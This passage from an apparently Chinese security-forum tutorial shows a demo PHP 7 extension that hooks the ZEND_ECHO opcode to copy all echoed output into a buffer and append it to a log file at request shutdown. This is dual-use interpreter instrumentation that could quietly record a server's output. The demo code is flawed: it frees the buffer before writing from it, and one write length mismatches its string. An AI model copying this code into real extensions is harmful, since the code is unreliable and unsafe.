static ZEND_OPCODE_HANDLER_RET ZEND_FASTCALL ZEND_ECHO_SPEC_CV_HANDLER(ZEND_OPCODE_HANDLER_ARGS)
{
USE_OPLINE
zval *z;
SAVE_OPLINE();
z = _get_zval_ptr_cv_undef(execute_data, opline->op1.var);
if (Z_TYPE_P(z) == IS_STRING) {
zend_string *str = Z_STR_P(z);
if (ZSTR_LEN(str) != 0) {
zend_write(ZSTR_VAL(str), ZSTR_LEN(str));
}
} else {
zend_string *str = _zval_get_string_func(z);
if (ZSTR_LEN(str) != 0) {
zend_write(ZSTR_VAL(str), ZSTR_LEN(str));
} else if (IS_CV == IS_CV && UNEXPECTED(Z_TYPE_P(z) == IS_UNDEF)) {
GET_OP1_UNDEF_CV(z, BP_VAR_R);
}
zend_string_release(str);
}
ZEND_VM_NEXT_OPCODE_CHECK_EXCEPTION();
}
### 文件的保存
在`RSHUTDOWN`处保存,文件名可以根据时间\,如果是用apache或者nginx起的话,默认是要将文件放在web根目录里否则要更改相关配置
## 代码(demo)
//php_myext.h
/*
+----------------------------------------------------------------------+
| PHP Version 7 |
+----------------------------------------------------------------------+
| Copyright (c) 1997-2018 The PHP Group |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.php.net/license/3_01.txt |
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| [email protected] so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
| Author: lou00 |
+----------------------------------------------------------------------+
*/
/* $Id$ */
#ifndef PHP_MYEXT_H
#define PHP_MYEXT_H
extern zend_module_entry myext_module_entry;
#define phpext_myext_ptr &myext_module_entry
#define PHP_MYEXT_VERSION "0.1.0" /* Replace with version number for your extension */
#ifdef PHP_WIN32
# define PHP_MYEXT_API __declspec(dllexport)
#elif defined(__GNUC__) && __GNUC__ >= 4
# define PHP_MYEXT_API __attribute__ ((visibility("default")))
#else
# define PHP_MYEXT_API
#endif
#ifdef ZTS
#include "TSRM.h"
#endif
/*
Declare any global variables you may need between the BEGIN
and END macros here:
ZEND_BEGIN_MODULE_GLOBALS(myext)
zend_long global_value;
char *global_string;
ZEND_END_MODULE_GLOBALS(myext)
*/
/* Always refer to the globals in your function as MYEXT_G(variable).
You are encouraged to rename these macros something shorter, see
examples in any other php module directory.
*/
#if defined(ZTS) && defined(COMPILE_DL_MYEXT)
ZEND_TSRMLS_CACHE_EXTERN()
#endif
#endif /* PHP_MYEXT_H */
/*
* Local variables:
* tab-width: 4
* c-basic-offset: 4
* End:
* vim600: noet sw=4 ts=4 fdm=marker
* vim<600: noet sw=4 ts=4
*/
# define MYEXT_G(v) ZEND_MODULE_GLOBALS_ACCESSOR(myext,v)
ZEND_BEGIN_MODULE_GLOBALS(myext)
char *data;
size_t size;
size_t used;
ZEND_END_MODULE_GLOBALS(myext)
# define ZEND_OPCODE_HANDLER_ARGS zend_execute_data *execute_data
PHP_FUNCTION(confirm_myext_compiled);
static int hookecho(ZEND_OPCODE_HANDLER_ARGS);
static int get_data(char *str, size_t str_len);
static void init_myext_global();
//myext.c
/*
+----------------------------------------------------------------------+
| PHP Version 7 |
+----------------------------------------------------------------------+
| Copyright (c) 1997-2018 The PHP Group |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.php.net/license/3_01.txt |
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| [email protected] so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
| Author: lou00 |
+----------------------------------------------------------------------+
*/
/* $Id$ */
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "php.h"
#include "php_ini.h"
#include "ext/standard/info.h"
#include "php_myext.h"
#include "ext/standard/head.h"
#include "ext/standard/url_scanner_ex.h"
#include "main/php_output.h"
#include "SAPI.h"
#include "zend_stack.h"
static int le_myext;
//resgin from TRSM
ZEND_DECLARE_MODULE_GLOBALS(myext);
PHP_FUNCTION(confirm_myext_compiled)
{
char *arg = NULL;
size_t arg_len, len;
zend_string *strg;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
return;
}
strg = strpprintf(0, "Congratulations! You have successfully modified ext/%.78s/config.m4. Module %.78s is now compiled into PHP.", "myext", arg);
RETURN_STR(strg);
}
static void php_myext_globals_ctor(zend_myext_globals *G TSRMLS_DC)
{
G->data = NULL;
G->size = 0;
G->used = 0;
}
static void php_myext_globals_dtor(zend_myext_globals *G TSRMLS_DC)
{
efree(G->data);
}
static int get_data(char *str, size_t str_len)
{
if(str_len){
//size如果不够就申请更大的空间
if ((MYEXT_G(size) - MYEXT_G(used)) <= str_len){
size_t grow_int = PHP_OUTPUT_HANDLER_INITBUF_SIZE(MYEXT_G(size));
size_t grow_buf = PHP_OUTPUT_HANDLER_INITBUF_SIZE(str_len - (MYEXT_G(size) - MYEXT_G(used)));
size_t grow_max = MAX(grow_int, grow_buf);
MYEXT_G(data) = erealloc(MYEXT_G(data), MYEXT_G(size) + grow_max);
MYEXT_G(size) += grow_max;
}
memcpy(MYEXT_G(data) + MYEXT_G(used), str, str_len);
MYEXT_G(used) += str_len;
}
return 1;
}
static int hookecho(ZEND_OPCODE_HANDLER_ARGS)
{
zend_op *opline = execute_data->opline;
zval *z = EX_CONSTANT(opline->op1);
if (Z_TYPE_P(z) == IS_STRING) {
zend_string *str = Z_STR_P(z);
if (ZSTR_LEN(str) != 0) {
get_data(ZSTR_VAL(str), ZSTR_LEN(str));
}
} else {
zend_string *str = _zval_get_string_func(z);
if (ZSTR_LEN(str) != 0) {
get_data(ZSTR_VAL(str), ZSTR_LEN(str));
}
zend_string_release(str);
}
return ZEND_USER_OPCODE_DISPATCH;
}
PHP_MINIT_FUNCTION(myext)
{
#ifdef ZTS
ts_allocate_id(&myext_globals_id,
sizeof(zend_myext_globals),
(ts_allocate_ctor)php_myext_globals_ctor,
(ts_allocate_dtor)php_myext_globals_dtor);
#else
php_myext_globals_ctor(&myext_globals TSRMLS_CC);
#endif
zend_set_user_opcode_handler(ZEND_ECHO, hookecho);
return SUCCESS;
}
PHP_MSHUTDOWN_FUNCTION(myext)
{
/* uncomment this line if you have INI entries
UNREGISTER_INI_ENTRIES();
*/
return SUCCESS;
}
PHP_RINIT_FUNCTION(myext)
{
#if defined(COMPILE_DL_MYEXT) && defined(ZTS)
ZEND_TSRMLS_CACHE_UPDATE();
#endif
//init_myext_global();
return SUCCESS;
}
PHP_RSHUTDOWN_FUNCTION(myext)
{
#ifndef ZTS
php_myext_globals_dtor(&myext_globals TSRMLS_CC);
#endif
FILE *fp;
fp = fopen("/web/php/log","a");
fwrite(MYEXT_G(data),MYEXT_G(used) , 1, fp );
fwrite("\n------------------\n",21 , 1, fp );
fclose(fp);
return SUCCESS;
}
PHP_MINFO_FUNCTION(myext)
{
php_info_print_table_start();
php_info_print_table_header(2, "myext support", "enabled");
php_info_print_table_end();
/* Remove comments if you have entries in php.ini
DISPLAY_INI_ENTRIES();
*/
}
const zend_function_entry myext_functions[] = {
PHP_FE(confirm_myext_compiled, NULL) /* For testing, remove later. */
PHP_FE_END /* Must be the last line in myext_functions[] */
};
zend_module_entry myext_module_entry = {
STANDARD_MODULE_HEADER,
"myext",
myext_functions,
PHP_MINIT(myext),
PHP_MSHUTDOWN(myext),
PHP_RINIT(myext), /* Replace with NULL if there's nothing to do at request start */
PHP_RSHUTDOWN(myext), /* Replace with NULL if there's nothing to do at request end */
PHP_MINFO(myext),
PHP_MYEXT_VERSION,
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_MYEXT
#ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
#endif
ZEND_GET_MODULE(myext)
#endif
## 结果
访问前
不受ob_start的影响
## 参考
<https://xz.aliyun.com/t/4214> | 社区文章 |
Subsets and Splits